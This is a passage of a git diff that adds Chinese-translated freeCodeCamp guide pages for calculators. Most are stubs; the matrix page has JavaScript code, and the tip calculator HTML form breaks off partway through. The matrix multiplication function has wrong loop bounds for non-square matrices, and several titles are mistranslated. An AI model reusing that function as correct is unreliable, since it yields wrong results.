+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/greatest-common-factor-calculator/index.md b/client/src/guide/chinese/tools/calculators/greatest-common-factor-calculator/index.md
new file mode 100644
index 0000000000..f95ae02e81
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/greatest-common-factor-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Greatest Common Factor Calculator
+localeTitle: 最大的共同因子计算器
+---
+## 最大的共同因子计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/greatest-common-factor-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/half-life-calculator/index.md b/client/src/guide/chinese/tools/calculators/half-life-calculator/index.md
new file mode 100644
index 0000000000..272a6d7af0
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/half-life-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Half Life Calculator
+localeTitle: 半衰期计算器
+---
+## 半衰期计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/half-life-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/hex-calculator/index.md b/client/src/guide/chinese/tools/calculators/hex-calculator/index.md
new file mode 100644
index 0000000000..46f269808e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/hex-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Hex Calculator
+localeTitle: 六角计算器
+---
+## 六角计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/hex-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/income-tax-calculator/index.md b/client/src/guide/chinese/tools/calculators/income-tax-calculator/index.md
new file mode 100644
index 0000000000..358eeb0fdb
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/income-tax-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Income Tax Calculator
+localeTitle: 所得税计算器
+---
+## 所得税计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/income-tax-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/index.md b/client/src/guide/chinese/tools/calculators/index.md
new file mode 100644
index 0000000000..384b7efbaa
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculators
+localeTitle: 计算器
+---
+## 计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/inflation-calculator/index.md b/client/src/guide/chinese/tools/calculators/inflation-calculator/index.md
new file mode 100644
index 0000000000..a8eb475616
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/inflation-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Inflation Calculator
+localeTitle: 通货膨胀计算器
+---
+## 通货膨胀计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/inflation-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/interest-calculator/index.md b/client/src/guide/chinese/tools/calculators/interest-calculator/index.md
new file mode 100644
index 0000000000..d9c7f5407e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/interest-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Interest Calculator
+localeTitle: 利息计算器
+---
+## 利息计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/interest-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/interest-rate-calculator/index.md b/client/src/guide/chinese/tools/calculators/interest-rate-calculator/index.md
new file mode 100644
index 0000000000..f7edf738e4
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/interest-rate-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Interest Rate Calculator
+localeTitle: 利率计算器
+---
+## 利率计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/interest-rate-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/ip-subnet-calculator/index.md b/client/src/guide/chinese/tools/calculators/ip-subnet-calculator/index.md
new file mode 100644
index 0000000000..f670e1aac6
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/ip-subnet-calculator/index.md
@@ -0,0 +1,18 @@
+---
+title: Ip Subnet Calculator
+localeTitle: Ip子网计算器
+---
+## Ip子网计算器
+
+IP子网计算器通过计算适当的网络地址，子网掩码，广播地址和主机IP范围，帮助将IP网络划分为子网。对于简单的网络（如家庭局域网），可能很容易识别适当的值，但对于更复杂的子网划分，IP子网计算器是一个很好的工具。
+
+以下是一些在线Ip子网计算器：
+
+*   http://www.subnet-calculator.com/
+*   http://jodies.de/ipcalc
+*   https://www.iplocation.net/subnet-calculator
+*   http://www.calculator.net/ip-subnet-calculator.html
+
+#### 更多信息：
+
+有关IP子网的更多信息，请在此处查看： https://en.wikipedia.org/wiki/Subnetwork
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/least-common-multiple-calculator/index.md b/client/src/guide/chinese/tools/calculators/least-common-multiple-calculator/index.md
new file mode 100644
index 0000000000..94d3e7fee3
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/least-common-multiple-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Least Common Multiple Calculator
+localeTitle: 最常见的多重计算器
+---
+## 最常见的多重计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/least-common-multiple-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/log-calculator/index.md b/client/src/guide/chinese/tools/calculators/log-calculator/index.md
new file mode 100644
index 0000000000..f455178acf
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/log-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Log Calculator
+localeTitle: 日志计算器
+---
+## 日志计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/log-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/matrix-calculator/index.md b/client/src/guide/chinese/tools/calculators/matrix-calculator/index.md
new file mode 100644
index 0000000000..7da24169b1
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/matrix-calculator/index.md
@@ -0,0 +1,99 @@
+---
+title: Matrix Calculator
+localeTitle: 矩阵计算器
+---
+## 矩阵计算器
+
+矩阵计算器用于执行加法，减法或乘法。 另外，它可以执行特定于矩阵的操作，例如矩阵转置，反转或定义矩阵的等级。
+
+Matrix由行和列（nxm）构建。在矩阵上完成的操作通常会对矩阵的维度施加一些限制。
+
+##### 加成：
+
+通过添加两个**相同**尺寸的矩阵的值来完成添加。 结果是一个与原始数组尺寸相同的数组。
+
+```javascript
+// matrices a and b are represented by an array of arrays (rows of columns) 
+ function addMatrices(a, b) { 
+  // we might want to add here constraints for the same dimensions 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || !Array.isArray(b) || !Array.isArray(b[0])) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      result[i][j] = a[i][j] + b[i][j]; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+```
+
+##### 减法：
+
+通过减去**相同**维度的两个矩阵的值来完成减法。 结果是一个与原始数组尺寸相同的数组。
+
+```javascript
+// matrices a and b are represented by an array of arrays (rows of columns) 
+ function subtractMatrices(a, b) { 
+  // we might want to add here constraints for the same dimensions 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || !Array.isArray(b) || !Array.isArray(b[0])) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      result[i][j] = a[i][j] - b[i][j]; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+```
+
+##### 乘法：
+
+乘法可以通过将矩阵乘以标量或乘以矩阵来完成。 如果我们乘以两个矩阵，只有当左矩阵中的列数等于右矩阵中的行数时才能进行。
+
+```javascript
+// matrices a and b are represented by an array of arrays (rows of columns) 
+ function multiplyMatrices(a, b) { 
+  // we might want to add here constraints for the dimensions 
+  //let's assume that b has to be either a scalar or an array 
+  if (!Array.isArray(a) || !Array.isArray(a[0]) || ((!Array.isArray(b) || !Array.isArray(b[0])) && isNaN(b))) { 
+    throw new Error('a, b or it\'s children is not an array'); 
+  } 
+ 
+  if (!isNaN(b)) { 
+    for (let i = 0; i < a.length; i++) { 
+      for (let j = 0; j < a[i].length; j++) { 
+        a[i][j] = a[i][j] * b; 
+      } 
+    } 
+    return a; 
+  } 
+ 
+  const result = []; 
+  for (let i = 0; i < a.length; i++) { 
+    result[i] = []; 
+    for (let j = 0; j < a[i].length; j++) { 
+      let sum = 0; 
+      for (let k = 0; k < b[i].length; k++) { 
+        sum += a[i][k] * b[k][j]; 
+      } 
+      result[i][j] = sum; 
+    } 
+  } 
+ 
+  return result; 
+ } 
+```
+
+#### 更多信息：
+
+https://en.wikipedia.org/wiki/Matrix\_(mathematics）
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/mean-median-mode-range-calculator/index.md b/client/src/guide/chinese/tools/calculators/mean-median-mode-range-calculator/index.md
new file mode 100644
index 0000000000..7141e905fe
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/mean-median-mode-range-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mean Median Mode Range Calculator
+localeTitle: 平均中位模式范围计算器
+---
+## 平均中位模式范围计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mean-median-mode-range-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/mortgage-calculator/index.md b/client/src/guide/chinese/tools/calculators/mortgage-calculator/index.md
new file mode 100644
index 0000000000..70cab3d9b0
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/mortgage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mortgage Calculator
+localeTitle: 按揭计算器
+---
+## 按揭计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mortgage-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/mortgage-payoff-calculator/index.md b/client/src/guide/chinese/tools/calculators/mortgage-payoff-calculator/index.md
new file mode 100644
index 0000000000..b71192731d
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/mortgage-payoff-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Mortgage Payoff Calculator
+localeTitle: 抵押支付计算器
+---
+## 抵押支付计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/mortgage-payoff-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/number-sequence-calculator/index.md b/client/src/guide/chinese/tools/calculators/number-sequence-calculator/index.md
new file mode 100644
index 0000000000..7f4a56256e
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/number-sequence-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Number Sequence Calculator
+localeTitle: 数字序列计算器
+---
+## 数字序列计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/number-sequence-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/order-of-operations-calculator/index.md b/client/src/guide/chinese/tools/calculators/order-of-operations-calculator/index.md
new file mode 100644
index 0000000000..060322b456
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/order-of-operations-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Order of Operations Calculator
+localeTitle: 运营顺序计算器
+---
+## 运营顺序计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/order-of-operations-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/percent-error-calculator/index.md b/client/src/guide/chinese/tools/calculators/percent-error-calculator/index.md
new file mode 100644
index 0000000000..b83bdcb7ef
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/percent-error-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Percent Error Calculator
+localeTitle: 百分比错误计算器
+---
+## 百分比错误计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/percent-error-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/percentage-calculator/index.md b/client/src/guide/chinese/tools/calculators/percentage-calculator/index.md
new file mode 100644
index 0000000000..1dbf374159
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/percentage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Percentage Calculator
+localeTitle: 百分比计算器
+---
+## 百分比计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/percentage-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/present-value-calculator/index.md b/client/src/guide/chinese/tools/calculators/present-value-calculator/index.md
new file mode 100644
index 0000000000..a6f79f3753
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/present-value-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Present Value Calculator
+localeTitle: 现值计算器
+---
+## 现值计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/present-value-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/prime-number-calculator/index.md b/client/src/guide/chinese/tools/calculators/prime-number-calculator/index.md
new file mode 100644
index 0000000000..fa38eea879
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/prime-number-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Prime Number Calculator
+localeTitle: 素数计算器
+---
+## 素数计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/prime-number-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/probability-calculator/index.md b/client/src/guide/chinese/tools/calculators/probability-calculator/index.md
new file mode 100644
index 0000000000..d69a5c7345
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/probability-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability Calculator
+localeTitle: 概率计算器
+---
+## 概率计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/probability-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/ratio-calculator/index.md b/client/src/guide/chinese/tools/calculators/ratio-calculator/index.md
new file mode 100644
index 0000000000..fe79020757
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/ratio-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Ratio Calculator
+localeTitle: 比率计算器
+---
+## 比率计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/ratio-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/refinance-calculator/index.md b/client/src/guide/chinese/tools/calculators/refinance-calculator/index.md
new file mode 100644
index 0000000000..4648aaffc7
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/refinance-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Refinance Calculator
+localeTitle: 再融资计算器
+---
+## 再融资计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/refinance-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/return-on-investment-roi-calculator/index.md b/client/src/guide/chinese/tools/calculators/return-on-investment-roi-calculator/index.md
new file mode 100644
index 0000000000..a39d092b6b
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/return-on-investment-roi-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Return on Investment Roi Calculator
+localeTitle: 投资回报率Roi计算器
+---
+## 投资回报率Roi计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/return-on-investment-roi-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/salary-calculator/index.md b/client/src/guide/chinese/tools/calculators/salary-calculator/index.md
new file mode 100644
index 0000000000..b0bdc38969
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/salary-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Salary Calculator
+localeTitle: 薪资计算器
+---
+## 薪资计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/salary-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/sales-tax-calculator/index.md b/client/src/guide/chinese/tools/calculators/sales-tax-calculator/index.md
new file mode 100644
index 0000000000..1acdf1aa31
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/sales-tax-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sales Tax Calculator
+localeTitle: 销售税计算器
+---
+## 销售税计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sales-tax-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/sample-size-calculator/index.md b/client/src/guide/chinese/tools/calculators/sample-size-calculator/index.md
new file mode 100644
index 0000000000..638f487955
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/sample-size-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sample Size Calculator
+localeTitle: 样本量计算器
+---
+## 样本量计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sample-size-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/scientific-calculator/index.md b/client/src/guide/chinese/tools/calculators/scientific-calculator/index.md
new file mode 100644
index 0000000000..be99d7b653
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/scientific-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Scientific Calculator
+localeTitle: 科学计算器
+---
+## 科学计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/scientific-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/sigma-sum-calculator/index.md b/client/src/guide/chinese/tools/calculators/sigma-sum-calculator/index.md
new file mode 100644
index 0000000000..dacd54e6df
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/sigma-sum-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigma Sum Calculator
+localeTitle: Sigma Sum计算器
+---
+## Sigma Sum计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/sigma-sum-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/slope-calculator/index.md b/client/src/guide/chinese/tools/calculators/slope-calculator/index.md
new file mode 100644
index 0000000000..08b7cac7c9
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/slope-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Slope Calculator
+localeTitle: 坡度计算器
+---
+## 坡度计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/slope-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/square-footage-calculator/index.md b/client/src/guide/chinese/tools/calculators/square-footage-calculator/index.md
new file mode 100644
index 0000000000..3aab26da33
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/square-footage-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Square Footage Calculator
+localeTitle: 方形镜头计算器
+---
+## 方形镜头计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/square-footage-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/standard-deviation-calculator/index.md b/client/src/guide/chinese/tools/calculators/standard-deviation-calculator/index.md
new file mode 100644
index 0000000000..5f1e7241dd
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/standard-deviation-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation Calculator
+localeTitle: 标准偏差计算器
+---
+## 标准偏差计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/standard-deviation-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/surface-area-calculator/index.md b/client/src/guide/chinese/tools/calculators/surface-area-calculator/index.md
new file mode 100644
index 0000000000..ba37eb2acf
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/surface-area-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area Calculator
+localeTitle: 表面积计算器
+---
+## 表面积计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/surface-area-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/take-home-paycheck-calculator/index.md b/client/src/guide/chinese/tools/calculators/take-home-paycheck-calculator/index.md
new file mode 100644
index 0000000000..df47aedee4
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/take-home-paycheck-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Take Home Paycheck Calculator
+localeTitle: 带回家薪水计算器
+---
+## 带回家薪水计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/take-home-paycheck-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/time-zone-calculator/index.md b/client/src/guide/chinese/tools/calculators/time-zone-calculator/index.md
new file mode 100644
index 0000000000..a7d2d4356a
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/time-zone-calculator/index.md
@@ -0,0 +1,11 @@
+---
+title: Time Zone Calculator
+localeTitle: 时区计算器
+---
+## 时区计算器
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/tools/calculators/time-zone-calculator/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/tools/calculators/tip-calculator/index.md b/client/src/guide/chinese/tools/calculators/tip-calculator/index.md
new file mode 100644
index 0000000000..8981e96114
--- /dev/null
+++ b/client/src/guide/chinese/tools/calculators/tip-calculator/index.md
@@ -0,0 +1,128 @@
+---
+title: Tip Calculator
+localeTitle: 电脑类型
+---
+## 提示计算器
+
+小费计算器是一种计算器，可根据总账单的百分比计算小费。
+
+## 第1步 - HTML：
+
+我们创建一个表单以输入首选金额：
+
+```html
+
+<!doctype html> 
+ <html lang="en"> 
+  <head> 
+    <title>Tip Calculator</title> 
+    <!-- Required meta tags --> 
+    <meta charset="utf-8"> 
+    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> 
+ 
+    <!-- Bootstrap CSS --> 
+    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous"> 
+ 
+ 
+ 
+  </head> 
+  <body class="bg-dark"> 
+    <div class="container"> 
+      <div class="row"> 
+        <div class="col-md-6 mx-auto"> 
+          <div class="card card-body text-center mt-5"> 
+            <h1 class="heading display-5 pb-3">Tip Calculator</h1> 
+            <form id="tip-form"> 
+              <div class="form-group"> 
+                <div class="input-group"> 
+                  <span class="input-group-addon">$</span> 
+                  <input type="number" class="form-control" id="billTotal" placeholder="Total Bill"> 
+                </div> 
+              </div> 
+              <div class="form-group tipPersent"> 
+                <div class="input-group"> 
+                  <label for="">Tip:</label> 
+ 
+ 
+                  <input type="range" class="form-control" id="tipInput" value="0"> 
+                  <span class="input-group-addon" id="tipOutput"></span> 
+                </div> 
+              </div> 
+ 
+ 
